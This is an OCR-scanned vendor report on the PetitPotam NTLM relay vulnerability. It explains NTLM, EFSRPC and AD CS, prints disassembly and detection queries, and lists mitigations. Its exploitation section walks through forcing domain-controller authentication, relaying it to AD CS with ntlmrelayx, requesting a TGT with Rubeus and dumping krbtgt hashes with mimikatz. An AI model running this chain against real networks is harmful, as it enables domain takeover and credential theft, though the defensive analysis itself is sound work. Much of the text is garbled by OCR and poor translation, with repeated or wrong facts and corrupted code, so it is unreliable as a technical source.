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PetitPotam Vulnerability Analysis

Introduction

Today, constantly changing and developing cyber threats, ensuring the security of
systems to regularly follow up the current vulnerabilities at the point of necessitates
swift action. Therefore, analysis of detected vulnerabilities taking necessary security
measures to prevent possible attacks is critical in this regard.

PetitPotam wvulnerability, which is the subject of this report, is a vulnerability to
analyzing and necessary measures.

What is NTLM?

NTLM (New Technology Lan Manager) is a protocol presented by Microsoft to
authenticate users and protect the integrity and privacy of their activities.

The NTLM that performs the authentication process with a three-way handshake is
working based on “challenge-response”. Today, the NTLM in Windows systems has
left the Kerberos Protocol, similar to an authentication protocol. But by some plans,
NTLM is still supported.

The following steps are applied to create an NTLM Hash value. First, the user

password is translated into Little Endian UTF-16 format, and then the MD4 hash
value is formed. Finally, this value is stored in the SAM file.
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Introduction

How NTLM Works?

The NTLM performing the user ID verification process with the challenge-response
mechanism is operating with the following steps:

1. The user accesses a client and shares the username, password, and domain
information with the client.

2. The client creates an encrypted version of the password and deletes the plain
password.

3. The client forwards the user name to the corresponding server as plain text.

4. The server produces a 16-byte random numlber named challenge or nonce and
sends this number to the client.

5. The client encrypts the received challenge value with the hash value of the user
password and sends it to the server. This is called response.

6. The server sends the username, challenge, and response values to DC (Domain
Controller is a server that responds to authentication requests and verifies users
on computer networks.).

7. The DC receives the hash value of the user password from the SAM (Security
Access Manager) database using the user name. This hash value received is used
to encrypt the challenge value.

8. The DC compares the encrypted challenge value in step 6 with the response
value produced by the client in step 5. If the match is formed, the authentication

is performed.
NTLM Relay Attack

In NTLM Relay Attack, a location is created between the client-server on the network,
primarily by cyber threat actors. Thus, authentication traffic is controlled. First, client
authentication requests are forwarded by cyber-threat actors. Next, the cyber-threat
actor of the server can perform an authentication process on the incoming request.
Thus, cyber-threat actors can authenticate using the credentials of the client. At
these stages, the client is connected to the server that it wants to connect to. As a
result, the server believes it is a legitimate client to authenticate.

The remote code can be carried out on the assault with an attack on a defensive

system against NTLM Relay attacks, and the remote code on the device can be
carried out on critical systems (such as domain controller servers) can be lateral.
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Encrypting File System Remote Protocol (EFSRPC)

EFSRPC (Encrypting File System Remote Protocol) is the protocol used far away and
performs maintenance and management processes of encrypted data accessed
over a network. Windows use it to provide remote management of encrypted files
with EFS (Encrypting File System)

EFSRPC does not address how data is encrypted, store encrypted data, or read, write,
create, and delete them. In Windows, NTFS, storage mechanism, SMB (Server
Message Block) protocol provides remote access to such files.

SMB Protocol

The SMB (Server Message Block) protocol is a client-server communication protocol
used for file sharing on a network. The applications allow you to read and write the
file to request various services from server programs on the computer network. For
example, using the SMB protocol, an application can be accessed to files on a
network, printers, serial ports (port), and other resources. Thus, the files on the
remote server can be read and updated, and new files are created. You can also
contact any server program that is set to receive an SMB client request.
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Introduction

Active Directory Certificate Services

Active Directory Certificate Services (AD CS) is a platform developed by Microsoft,
providing customizable services to publish and manage digital certificates used in
software security systems that use the shared key (Public Key) technologies. The
digital certificates generated by AD CS can be used to encrypt electronic documents
messages and digitally sign. These digital certifications can also be used for
authentication of computer, user, or device accounts on a network. A corporation
that does not use AD CS should use Third Party platforms to perform the operations
provided by AD CS.

AD CS, Secure/Multipurpose Internet Mail Extensions (S/MIME), Secure Wireless
Networks (Secure Wireless Networks), Virtual Private Networks (VPN), Internet

Protocol Safety (IPSec), Encrypting File System (EFS), Smart Card Logon, SSL/TLS and
are supported by many more applications and the server.

AD CS consists of six different components:

Certification Authority (CA): Users are used to certifying computers and services and
managing the certificate validity. Two options are available as root or subordinate.

Web Enrollment: It allows users to connect to CA through the web interface. Thus,
users can request a certificate and receive the certificate cancellation lists (CRL).

Online Responder: It responds to requests regarding the status of requested
certificates. After decoding the certificate's status and evaluating its position, it sends
a signed response with status information.

Network Device Enrollment Service: Allows the non-domain account to obtain a
certificate of network devices.

Certificate Enrollment Policy Web Service: Users and computers are used to
receive the certificate registration policy information.

Certificate Enrollment Web Service: It allows users and computers to perform
certificate registration using the HTTPS protocol.
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Vulnerability Analysis

PetitPotam Vulnerability

PetitPotam is a vulnerability that affects Windows domain controllers (Domain
Controller) or servers and is known as NTLM Relay Attack. Safety, Cyber-threat actors
seize NTLM authentication hash knowledge, allowing the authentication processes
in the target device.

PetitPotam element is due to the abuse of MS-EFSRPC (Encrypting File System
Remote Protocol) protocol that allows Windows devices to perform on the
encrypted data stored on remote systems. The EfsRpcOpenFileRaw function used
by the MS-EFSRPC protocol is causing weakness. PetitPotam can be triggered by
connecting a cyber-threat actor to the MS-EFSRPC interface of the remote system
by sending the SMB request. Thus, the target computer must start an
authentication process and share authentication details through NTLM.

PetitPotam vulnerability, which causes a man-in-the-middle attack, allows a domain
controller to perform NTLM authentication using the MS-EFSRPC protocol. This
process is carried out via LSARPC((Local Security Authority Remote Protocol). By
forcing the target computer to perform an authentication process and share hash
passwords via NTLM, Windows AD CS can be exploited, and certificate information
can be captured. A TGT ticket can be requested on its behalf by imitating the target
device with the received certificate information. In this way, all domain controllers
can be taken over without any authentication.
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Vulnerability Analysis

Technical Analysis

When the requested request EfsRpcOpenFileRaw function called PetitPotam is
reviewed by the server, the EfsRpcOpenFileRaw_Downlevel function in efs/saext.dll
is considered to be processed. Most of the code of this function are included in an
impersonation block between the RpcimpersonateClient call and the
RpcRevertToSelf call. The code in this block is executed by the code other than the
block while executing the request to the person who sent the request (cyber threat
actor).

PetitPotam is a vulnerability that affects Windows domain controllers (Domain
Controller) or servers and is known as NTLM Relay Attack. Safety, Cyber-threat actors
seize NTLM authentication hash knowledge, allowing the authentication processes
in the target device.

Petitpotam element is due to the abuse of MS-EFSRPC (Encrypting File System
Remote Protocol) protocol that allows Windows devices to perform on the
encrypted data stored on remote systems. The EfsRpcOpenFileRaw function used
by the MS-EFSRPC protocol is causing weakness. PetitPotam can be triggered by
connecting a cyber-threat actor to the MS-EFSRPC interface of the remote system
by sending the SMB request. Thus, the target computer must start an
authentication process and share authentication details through NTLM.

The EfsRpcOpenfFileRaw_Downlevel function is located outside the impersonation
block, and the EfsGetlLocalFileName function is trying to open the UNC path
provided by the cyber-threat actor is a call. This process causes NTLM credentials to
be sent in SMB requests. The relevant parts of the EfsRpcOpenfFileRaw._Downlevel
function are as follows:
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—— e —
mov [rax-18h], riSw
mov ebp, r9d
mov [rax-14h], r15d
mov rdi, r8
call EfsRpcpvalidateClientCall
test eax, eax
jnz loc_1800028A8
Y

]
. =
cmp [rsp+48h+var_14], riSd
jz loc_1800028A8
v
=

test rl4, ris
jnz short loc_18000280C

test rdi, rdi
jz loc_1800028A8
Yy
B
loc_18000280C:
lea r9, [rsp+48h+var_18]
mov [r14], ri15
lea r8, [rsp+48h+lpMem]
mov rex, rdi ; unsigned _ int16 *
call EfsGetLocalFileName
mov ebx, eax
test eax, eax
jnz short loc_18000288C
v
ecx, ecx ; BindingHandle
cs:__imp_RpclImpersonateClient
ebx, eax
eax, eax
short loc_18000288C

]
=
or rax, OF

Figure 1 EfsGetLocalFilename function is the beginning of the
EfsRpcOpenfFileRaw_Downlevel function by calling out of the
impersonation block

The call shown by the red arrow above causes NTLM credentials to be leaked. This
call is carried out with the authorization of the computer account instead of the user
authorization that sends the request. The impersonation block starts in part shown

with an orange arrow.
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cmp word ptr [rdi+2], S5Ch
jnz short loc_180002873
L
s =
cmp word ptr [rdit4], 3Fh
jz short loc_180002873
Y YYYY
- =
mov rdx, [rsp+48h+lpMem] ; DosPathName
mov r9d, ebp loc_180002873: ; dwErrCode
mov rex, rdi ; unsigned __intl6 *} [mov ecx, S
mov [rsp+48h+var_28], r14 ; _ int64 call cs:__imp_Set
call EfsOpenFileRaw call cs:__imp_
jmp short loc_180002884
L
p— L
=
loc_180002884:
mov ebx, eax
call cs:__imp_RpcRevertToSelf
I
5=l

loc_18000288C:

cmp [rsp+48h+lpMem], ™5
jz short loc_18000288@
A J YVvey
=

cs:__imp_GetProcessHeap
r8, [rsp+48h+lpMem] ; lpMem loc_1800028A8B:
edx, edx ; dwFlags mov ebx, 5
rcx, rax ; hHeap
cs:__imp_HeapFree
short loc_18000288@

ol e =

loc_180002880:
mov rbp, [rsp+48h+arg 8]

Figure 2 Continue of the EfsRpcOpenfFileRaw_Downlevel
function

When the calls sent to the EFSRPC protocol are executed with the identity of the
requesting user, only the call to the EfsCetlLocalFileName function is not carried out
with the identity of the requested user. This means that the anonymous or privileged

user cannot remotely operate the EFSRPC functions, such as reading or creating
random network files.
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Detection Phase

Systems Affected by PetitPotam Vulnerability

Windows Server 2008, Windows Server 2008 R2, Windows Server 2008 R2, Windows
Server 2008, Windows Server 2008, and Windows Server 2022 versions are found to
be effective.

PetitPotam benefits from the servers where it is not configured with the protections
for "AD CS" NTLM transition attacks.

The use of Active Directory Certificate Services (AD CS) with any of the following
services shows that it is potentially vulnerable to PetitPotam vulnerability:

» Certificate Authority Web Enroliment

+ Certificate Enrollment Web Service

Detection PetitPotam Vulnerability

Method-1

If a DC certificate can be obtained, the TGT ticket can be taken. Thus, it is possible to
receive the NT hash information of a service account that contains the DC computer
account. This makes it possible to seize the entire Domain. The request is
transmitted with the sender's IP address when the TCT request is sent. When the DC
account is used from a non-DC machine, the user name is the user name of the DC
account, while the IP address does not belong to the DC account.

The following steps can be applied to detect petitpotam vulnerability:

+ Get a List of Domain Controller

+ Get the IP address list for domain controllers

* Ifa DC account has a TGT request with an IP address that is not within the DC IP
list

For the above method, there is a query template for Azure Sentinel. GitHub link for a
template (https://github.com/Cyb3r-Monk/Threat-Hunting-and-
Detection/tree/main/Credential%20Access)
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Detection Phase

Method-2

Some methods were determined to detect the actions associated with vulnerability
in research on PetitPotam. It has been found that events ending with ANONYMOUS
LOGON and connections with 5145, 5140, 4624 Event ID are related to PetitPotam.

The following items help determine the possible problems in the environment for
petitpotam affairs:

windows_event_id=4624 AND user="ANONYMOUS LOGON' AND
authentication_package="NTLM'

let DCs dynamic ([ "yourdcl.yourdomain.local™]);

let DC_IPs = dynamic(["IP of the DCs including IPv6 addresses™]);

SecurityEvent
where EventID == 4768
where Computer in~ (DCs)
where TargetUserName endswith "$"
where DCs has replace_string(TargetUserName,"$","")
where IpAddress <> "::1"
extend IpAddress = replace_string(IpAddress, "::ffff:", "")
where IpAddress !in (DC_IPs)
project-reorder Computer, TargetUserName, IpAddress

Figure 3 Detection Query

Any anonymous connection including connecting anonymous to RPC

Upgraded user access without welding workstation. In most cases, this situation can
be developed by ignoring all non-specific SRC/Client IP addresses.
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Investigation of Petitpotam Traces in Event Share File Logs

windows_event_id=4624 AND elevated=true AND package_name="NTLM V2" AND
workstation _name is null

windows_event_id=5145 AND  object_name  LIKE '%IPC%  AND file_path in
('lIsarpc’,'efsrpc’,'Isass','samr’,'netlogon’) AND access_granted LIKE
'ReadData%WriteData%AddFile),’
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Exploitation

A POC tool was published via GitHub for PetitPotam vulnerability. This tool reveals
how a cyber-threat actor explimates the MS-EFSRPC protocol and receiving NTLM
credentials via LSARPC to authenticate a server on another server.

POC Tool GitHub Link: "https://github.com/topotam/petitpotam”

Lab Environment

NtImRelayx installation

NtimRelayx is required to detect and communicate the AD CS server.
Github linki : “https;//github.com/SecureAuthCorp/impacket”

git clone https://github.com/ExAndroidDev/impacket.git
cd impacket

git checkout ntimrelayx-adcs-attack

sudo python3 setup.py install

DC1 Domain Controller DC2
AD CS + Web Enrollment Domain Controller

Linux(Kali) Windows

Figure 4 Lab requirements
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Exploitation

Certificate Authority Finding

"certutil.exe" is available to find the ADCS server on Windows

@ Microsoft Active Directory Certif X == [+ =
& C A Notsecure | win-gint30ohe0s/certsry/ 3 &%« &
! Apps M Gmail @B YouTube B¥ Maps Reading list

Microsoft Active Directory Certificate Services — WIN-GLNT300HEOS-CA

Welcome

Use this Web site to request a certificate for your Web browser, e-mail client, or other program. By using a certificate, you can verify your
identity to people you communicate with over the Web, sign and encrypt messages, and, depending upon the type of certificate you request,
perform other security tasks.

You can also use this Web site to download a certificate authority (CA) certificate, certificate chain, or certificate revocation list (CRL), or to
view the status of a pending request.

For more information about Active Directory Certificate Services, see Active Directory Certificate Services Documentation

Select a task: E¥ Administrator: Windows PowerShell
Request a certificate : =
View the status of a pending_certificate request Copy ft Corporation. All rights reserved.
Download a CA certificate,_certificate chain, or CRL

iinistrator> certutil.exe

S\WIN-GLNT3@

S_WIN-GLNT

Figure 5 Windows Active Directory Certificate Service
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Exploitation

NTLMRelayx Preparation

The authentication requests from NTLMrelayx on the Kali should be captured. Here

Sudo python3 ntimrelayx.py -debug -smb2support --target
http://pki.lab.local/certsrv/certfnsh.asp
--adcs --template KerberosAuthentication

As Template can be used in Kerberosauthentication, domainControls can also be
used.

impacket ® /opt/impacket
1 : http://ca@l/certsrv/certfnsh.asp DomainController
Impacket v0.9.24.dev1+20210727.163808.5f1ced6d - Copyright 2021 SecureAuth Corporation

[*] Protocol Client RPC loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Setting up HTTP Server

[*] Setting up WCF Server
[*] Servers started, waiting for connections

Figure 6 ntimrelayx Tool Usage

www.brandefense.com



PetitPotam Vulnerability Analysis

Exploitation

Forcing authentication

PetitPotam on Windows should be forced to authenticate NTLM authentication on
the Kali.

EX Windows PowerShell

PS C:\Users\spotless\Desktop> .\PetitPotam.exe 10.0.08.5 dc@l
Usage: PetitPotam.exe <captureServerIP> <targetServerIP>
ttack success!!!

PS C:\Users\spotless\Desktop> _

impacket ® /opt/impacket
impacket ® /opt/impacket
= 1 A http://ca®l/certsrv/certfnsh.asp DomainController
Impacket v0.9.24.dev1+20210727.163808.5f1ced6d - Copyright 2021 SecureAuth Corporation

[*] Protocol Client RPC loaded.
[*] Protocol Client LDAP loaded.
[*] Protocol Client LDAPS loaded.
[*] Protocol Client SMB loaded.
[*] Protocol Client MSSQL loaded.
[*] Protocol Client SMTP loaded.
[*] Protocol Client HTTP loaded.
[*] Protocol Client HTTPS loaded.
[*] Protocol Client DCSYNC loaded.
[*] Protocol Client IMAP loaded.
[*] Protocol Client IMAPS loaded.
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Setting up HTTP Server

[*] Setting up WCF Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Connection from OFFENSE/DC@1$@10.0.0.6 controlled, attacking target http://ca0l
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://ca®l as OFFENSE/DC01$ SUCCEED
[*] SMBD-Thread-4: Connection from OFFENSE/DC01$@10.0.0.6 controlled, attacking target http://ca0l
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://ca®l as OFFENSE/DC01$ SUCCEED
[*] SMBD-Thread-4: Connection from OFFENSE/DC01$@10.0.0.6 controlled, attacking target http://ca0l
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://ca®l as OFFENSE/DC01$ SUCCEED
[*] SMBD-Thread-4: Connection from OFFENSE/DC01$@10.0.0.6 controlled, attacking target http://ca0l
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://ca®l as OFFENSE/DC01$ SUCCEED
SMBD-Thread-4: Connection from OFFENSE/DC01$@10.0.0.6 controlled, attacking target http://ca0l
HTTP server returned error code 200, treating as a successful login
Authenticating against http://ca®l as OFFENSE/DC01$ SUCCEED
Generating CSR...
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Exploitation

TGT requesting
Rubeus tool can be used to request Kerberos TGT in Windows.

Github link: “https:;//github.com/ChostPac/Rubeus”

A\Rubeus.exe asktgt /outfile:kirbi /user:dc01$ /ptt /certificate:<base64-certificate

vi.6.4
Action: Ask TGT

=1
*=] Using PKINIT with etype rc4_hmac and subject: CN=dc@l.offense.local
*=] Building AS-REQ (w/ PKINIT preauth) for: ‘offense.locall\dceil$’

+] TGT request successful!
*] base64(ticket.kirbi):

doIFmjCCBZagAwIBBaEDAgEWOOIErzCCBKthggSNMIIEO6ADAZEFoQ8bDUSGRKVOUBUUTESDQUYiI A
OAMCAQKhGTAXGWZrcmJOZ3QbDWOmZmVuUc2UubG9 jYuy jggRIMIIEYaADASESOQMCAQKIiggRTBIIETO92+
CcF31NTKaPEGn26mEZogXmhcEdse87nRIBX1NP1IMDSALKjAWHIRdj2Wnhadwe jATf8YzbmbGKSySpYx1rO
XMOFHOYQOr7N1F3HRB+/FZTtiPCuunrfirDlrjy6tfFk+WrhXHiGgownDgOhGgpLOSfEpP7+g38CP1ns1H
OZT3aiepWlxilAPgxvV210hKwn8mGtyDEQTttcR+ORWeKIVOYES8CcsSY3H2t0A87peDQVNZNusdyOosR6PU
L6IBcqQVU4uxCzytvCIgXFbKKEFfUEhNubL+3alu6mI1ll15I4FwVU1jJ721z6hs+NioVOY62yyl1IOFVFffcY
vOSYVSQOQPROVH1berBvfLTP6X3yErfcFoFcN1XHUjk/6Dk5kLrosSq8K1lQ+bmtP736+tzFXBop92jTQn7
TPg38XWsVsSuUFQLCFvQUWXxpBj+7KUKm47bUiHUv+0OBP8KVvZGKkRVT4+y4wurjZoM/DnC7p+sd4Hla+JW6e
QgSndga8DBASuUXBwyPfNP1X3IMvmUNSMKMOOCLEW+fKVSOeMOMUK49Z0G40/C4Uk6GgMO0ORj7afygsnVv
PY11YlblWvsogeBx3xbDdokBeqy8J33yEM/Xb3neGYed4f12Xno9ffgm8Lrc/EQ8pxXCO3D6A87XPDNHYjk1y
g3hTpOwMzKIPmMi7EYY jGBXHS5eCN1iloEETW6MeXmD66BMssOmMPSNQ6XKIigrtXzBIClo9tIlIeZ4FMvZm
VGVIXAgOVXONIWXQiwTB730K7pycKT/sr+ZyyyfFOwC4UzGtw8YVbXzo6BbgMedfcivYIZNQujLMUVRH
wbeIlYRQOMIJICj12ss9101TM/idMs/FfvsI70BQ/WgAK+yer80B5jyGeHTQtnPhndjaO+uBFYsVblU6B6
PgTf1InxhaPGLomoMr8 TnwLFVFuSQhDAHDb18P/KMVS3YtOVvIPUWGMXPOES8rWl7Nj8ELNZzSzDymtEGD4NC
B2t086StMOTkyOnexhGBP3X@Nad8fpOWYWIywlga+jQzsKWrHjGLegKHXegFqz/vFhPb tH1DHA/ 1w
7J3gUZX3mznkVZNFfQ+HMioFEBKkXKiamBI80wSNUD4AgrrXAAvqumNuckWUXDK8mgmQDkK1UNOGS378dYXey
MOFMUDO9ralpJlgcaY6bOASWWOiEUGYLVSVI1pje1lNDh29aCaTDsAmLhtgh709/7NLj2RtN1Y/rn@T7NOu
Ftey jwUxwS8IB8vgorNi6+GL10+bgCZ3ykKcgNDS56Vg31Y2KUPm1aPullysxD1HFfF3eiMglLQfcHwgpWDY
OFWzIs2t6yZuBvtdkNBIAag+tES8j4410XpHNtgSNULSXNQNG87AGpsT9d3a+QtzZgqOgLdqWbPALVVjVE
H/7BFoglLOdJ3bcDxrhglH2hcSSamf76hxFXJgi8D2uxtncp3nPeT/YsVgulLg/NAHexX6EN13blSas8DB/
7SoYWx0/rOE@Hbo7zV5CFz/71DGO04HWMIHTOAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQsU3gBKjtY2mYGvmjQ3SSAaEPGWI1PRkKZFTINFLKkXPQOFMOhIWEKADAgEBOQkWBXSFZGMuMSS
BWwMFAEDhAAC1ERgPMjAYMTA3MZEXMZEyMTVaphEYDz IwMj EwNzMxMjMxMjE1WgCcRGASYMDIXMDgWNZEZ
MTIXNVQODXsSNTOZGRUSTRSSMTONBTKKkiMCCgAWIBAQEZMBcbBmtyYNRNdBSNb2ZmZWSzZS5sb2NhbA==

Exception: C:\Users\spotless\Desktop\kirbi already exists! Data not written to file.
[+] Ticket successfully imported!

ServiceName = krbtgt/offense.local
ServiceRealm = OFFENSE . LOCAL
UseriName = dcels
UserRealm = OFFENSE . LOCAL
StartTime - 7/31/20©21 2:12:15 PM
EndTime = 8/1/2021 12:12:15 AM
RenewTill H 8/7/2021 2:12:15 PM
Flags = name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType - rc4_hmac
Base64 (key) = SU3gBKJtY2mYGvmjQ3SSAQ==
PS C:\Users\spotless\Desktop>

Figure 7 Rubeus Tool Usage
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klist command can be used to confirm the TGT ticket:

PS C:\Users\spotless\Desktop> klist

Current LogonId is ©:0x73c3647

Cached Tickets: (1)

H#0> Client: dc@l$ @ OFFENSE.LOCAL

Server: krbtgt/offense.local @ OFFENSE.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags ©x40e106000 -> forwardable renewable initial pre_authent name_canonicalize

Start Time: 7/31/2021 14:13:43 (local)

End Time:

Renew Time:
Session Key

8/1/2021 ©:13:43 (local)

Cache Flags: ©x1 -> PRIMARY
Kdc Called:

PS C:\Users\spotless\Desktop>

Finally, NTLM Hash values can e displayed via Mimikatz

Isadump::dcsync /user:krbgt

8/7/2021 14:13:43 (local)
Type: RSADSI RC4-HMAC(NT)

PS C:\Users\spotless\Desktop> C:\Users\spotless\Desktop\mimikatz.exe

CHEHHE . mimikatz

2.2.0 (x64) #19041 Jul 29 2021 11:16:51

JHE N HE. "A La Vie, A L'Amour” - (oe.eo0)

## / \ ## /*** Benjamin DELPY “gentilkiwi”

> https://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX
> https://pingcastle.com / https://mysmartlogon.com

z # lsadump::dcsync /user:krbtgt

‘offense.local” will be the domain

( vincent.letoux@gmail.com )

*dc@l.offense.local” will be the DC server

"krbtgt® will

be the user account

[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN
** SAM ACCOUNT **

SAM Username
Account Type

User Account Control

Account expiration

Password last change
Object Security ID
Object Relative ID

Credentials:

krbtgt

krbtgt

30000000 ( USER_OBJECT )

00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )

4/15/2021 6:42:14 PM

$-1-5-21-1266675203-1968877961-1999387445-502

502

Hash NTLM: c6b3861f84b76218898b62ebb®aba78b
ntlm- ©: c6b3861f84b76218898b62ebb®aba78b
Im - ©: ©7a98fc4a481f6dea®cb5840675e037b

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
237e1c1986e870255378d5d5al1f49cb6

Random Value

Primary:Kerberos-Newer-Keys

Default Salt

OFFENSE . LOCALkrbtgt

Default Iterations : 4096

Credentials
aes256_hmac
aes128_ hmac
des_cbc_md5s

Primary:Kerberos
Default Salt
Credentials

des_cbc_mds

Packages *

(4096) : 5c950b73c38919afac9621569e8341041¥606b2dd05931bc58138347a7b3a221e

(4096) : 503101a3f26F11bfSbf878ce833cda6b
(4096) : 46c8014c76F46751

OFFENSE.LOCALkrbtgt

46c8014c70f46751

NTLM-Strong-NTOWF

Primary:WDigest

www.brandefense.com
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Methods of protection from attacks against PetitPotam

It is recommended to disable NTLM authentication primarily to be protected from
attacks against PetitPotam. For this, you should first be started gpedit.msc. In the
pop-up window, the “Computer Configuration> Windows Settings> Security
Settings> Local Policies> Security Options” tab must be set to "Network Security:

Restrict NTLM: NTLM Authentication in this domain" option.

./ Local Group Policy Editor
File Action

o 7FXE R

View Help

H &

~

15/ Local Computer Policy Policy Security Setting
v @ Computer Conﬁgurmon ««) Network security: Allow Local System to use computer identity for NTLM  Not Defined
= = 3;:::::;:2:19; <) Network security: Allow LocalSystem NULL session fallback Not Defined
= Name Resolution Policy <) Network security: Allow PKU2U authentication requests to this computert... Not Defined
7' Scripts (Startup/Shutdown) - Network security: Configure encryption types allowed for Kerberos Not Defined
;1 Deployed Printers _@ Network security: Do not store LAN Manager hash value on next passwor... Enabled
v Security Settings (4 Network security: Force logoff when logon hours expire Disabled
(e| Network security: LAN Manager authentication level Not Defined

A Account Policies
v g Local Policies
4 Audit Policy
4 User Rights Assignment

<) Network security: LDAP client signing requirements

i Network security: Minimum session security for NTLM SSP based (includi...
2] Network security: Minimum session security for NTLM SSP based (includi...

Negotiate signing
Require 128-bit encrypti...
Require 128-bit encrypti...

4 Security Options i Network security: Restrict NTLM: Add remote server exceptions for NTLM ... Not Defined

_| Windows Defender Firewall with Advai i, Network security: Restrict NTLM: Add server exceptions in this domain Not Defined

| Network List Manager Policies 2| Network security: Restrict NTLM: Audit Incoming NTLM Traffic Not Defined
-| Public Key Policies 2| Network security: Restrict NTLM: Audit NTLM authentication in this dom... Not Defined

| Software Restriction Policies

| Application Control Policies
S IP Security Policies on Local Compute:
| Advanced Audit Policy Configuration

5% Network security: Restrict NTLM: NTLM authentication in this domain Disable

2 Recovery console: Allow automatic administrative logon

Disabled
! f\': Pf:lfcy—bjase: QOSI 2 Recovery console: Allow floppy copy and access to all drives and all folders Disabled
i ’MI?lstfat.l.VE emplates ¥ || L Shutdown: Allow system to be shut down without having to log on Disabled
< > -| Shutdown: Clear virtual memory paaefile Disabled v

Figure 8 Security Policy Configuration

Priority Measures Methods

NTLM must ensure that the services allow for authentication are used as expanded
protection (EPA) such as protection (EPA) or SMB signing. For this, on the Server
Manager menu, the EPA can be enabled for Certificate Authority Web Enroliment
under the Tools> Internet Information Services (1IS) Manager tab.

With the activation of EPA, a Web.config file is created under the directory of
"<%windir%>\systemdata\CES\<CA Name>_CES_Kerberos\web.config". In this file,
the <extendedProtectionPolicy> component must be set to WhenSupported or
ALWAYS.

The Require SSL option that will enable only HTTPS connections must be enabled.
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&5 Internet Information Services (1IS) Manager — x
-

e 5 » B > Stc: > Defoult WebSite » CertSrv » G xR @-

File View Help

&P SSL Setti
= ettings
e -id & e L= 9 5 Apply
§3 Start Page ; < : - B¢ Cance
< P This page lets you modify the SSL settings for the content of a website or application. = .
icati Require SSI @ He
L2 Application Pools 4 Require SSL
v (8] Sites ; Client certificates:
v @ Default Web Site
¥ ADPolicyProvider_CEP_Kerberos @ Ignore
| aspnet_client O Accept
# CertEnroll O Require
P CertSrv 3
7 I, &S K
Configuration: 'localhost’ applicationHost.config, <location path="Default Web Site/CertSrv"> 63

Figure 9 SSL Policy Configuration
Additional measures

GCroup Policy "Network Security: Restrict NTLM: Incoming NTLM Traffic" Deactivate
NTLM on any AD CS server on Domain using NTLM Traffic. For this purpose, the
Computer Configuration> Windows Settings> Security Settings> Local Policies>
Security Options tab, "Network Security: Restrict NTLM: Incoming NTLM Traffic"
option Mmust be set to “Deny all accounts” or “Deny all domain accounts”.

File Action View Help

pe =) == Local Security Sett
= 2@ XE=|H rhy Seting. iomieny
=7 Local Computer Policy 'i' Network securty: Restrict NTLM: Incoming NTLM traffic Seciirity Satting =
v & Computer Configuration g Ir NTLM Not Defined
1 33“‘;‘”9 ie::t'"gs Not Defined
~ [ Windows ings
ter t... Not Defined
7 Name Resolution Policy = mputer ot Define
% s Not Defined
Scripts (Startup/Shutdown)
= % Modifying this setting may affect compatibility with clients, services. >asswor... Enabled
= Deployed Printers L. and applications A
v~ [ Security Settings For more inf 1. see Network security: Restrict NTLM: Incoming Disabled
4 Account Policies NTLM traffic in the Security Policy Technical Reference Not Dfﬁnec? A
~ [ g Local Policies Negotiate signing
A Audit Policy Confirm Setting Change rncludn.., Requrre 128-b1t encryptf,..
A User Rights Assignment jncludi... Require 128-bit encrypti...
4 Security Options You are about to change this setting to a value that may affect compatibiity |NTLM ... Not Defined
| Windows Defender Firewall with &\, with dients, services, and applications. ain Not Defined
1 Network List Manager Policies For more information, see Network security: Restrict NTLM: Incoming NTLM Not Defined
| Public Key Policies traffic in the Security Policy Technical Reference. dom... Not Defined
1 Softvj/arg Restriction Polfcnes Do you want to continue with the e? Not Defined
| Application Control Policies lain Disable
&, 1P Security Policies on Local Cor| servers Not Defined
~] Advanced Audit Policy Configu No \ Disabled

oll Policy-based QoS

oAt o e iy A folders Disabled
> = A_ml?.lslratrl.ve emplates L Disabled

< OK Cancel Apply Disabled o

Figure 10 Additional Measures
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Deactivate the NTLM for Internet Information Services (IIS) on the AD CS servers
running "Certificate Authority Web Enrollment" or "Certificate Enrollment Web
Service" services on Domain. For this purpose, on the Server Manager menu, the
Tools> Internet Information Services (lIS) is right-clicking the Windows
Authentication option under the Manager tab, "Negotiate: Kerberos" must be added
here.

Providers ? X

Enabled Providers:

Negotiate

Select a provider from the list of available providers and click Add
to add it to the enabled providers.

Available Providers:

7

Negotiate:Kerberos

NTLM
Negotiate:PKU2U

Negotiate:CloudAP Cancel

Figure 11 Negotiate Kerberos

Current status on PetitPotam

The security update was published for PetitPotam elasticity with August 2021 update
published by Microsoft. CV-2021-36942 code given, has a 7.5 CVSS score.

PetitPotam vulnerable cyber-threat actor with an authenticated cyber-threat, can
call a function in the LSARPC interface and force the domain controller to
authenticate on another server using NTLM (Domain Controller). The published
security update prevents OpenEncryptedFileRawA and OpenEncryptedFileRawW
calls with affected API calls through the LSARPC interface.
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Current Status on PetitPotam

Microsoft has updated the EfsRpcOpenFileRaw_Down-level function in efsisaext.dll
in the update. The OpenEncryptedFileRaw function controls a registry value named
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EFS . If this value is
equal and equal to 1, the OpenEncryptedFileRaw works as previously. Problems may
occur in the backup system if the published update is implemented. Systems can be
corrected by disabling the changed parameter value, but it is vulnerable to
PetitPotam vulnerability.

mov fruLr, 1o

mov [r11-5@h], rax

mov rl4, rdx

mov [r11-58h], ri2

mov rbx, rcx

mov [rbp+var_18], ril2d

mov rod, 2000e016h ; dwFlags

mov [rbp+var_1C], ri2

lea r8, Value ;3 "AllowOpenRawDL"
mov rcx, OFFFFFFFF80000002h ; hkey

lea rdx, SubKey 3 "SYSTEM\\CurrentControlSet\\Services\\EF"
call cs:RegGetValueW

nop dword ptr [rax+rax+26h]

cmp [rbp+var_1C], 1

